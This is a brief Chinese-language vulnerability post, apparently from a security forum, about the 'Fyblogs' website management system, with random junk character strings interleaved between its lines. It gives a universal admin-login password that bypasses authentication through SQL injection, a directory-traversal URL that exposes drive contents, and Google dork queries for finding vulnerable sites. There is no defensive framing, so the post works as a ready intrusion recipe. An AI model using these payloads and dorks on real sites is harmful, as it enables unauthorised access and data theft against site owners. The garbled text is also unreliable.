Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
3 a$ J: H1 m" T6 }
! F4 g, p+ m6 g" M# C5 p' t& w后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
, c9 ~, u* b$ J! N2 ]3 Cadmin/uploadfile.asp?currentFolder=/upfiles/../

: d$ ]4 y/ c. E0 L  J# N6 Z- n7 b9 k漏洞证明：

- F# O9 i8 }: o1 {% ^- H+ m2 q谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
1 c  L0 C( G4 H% y( @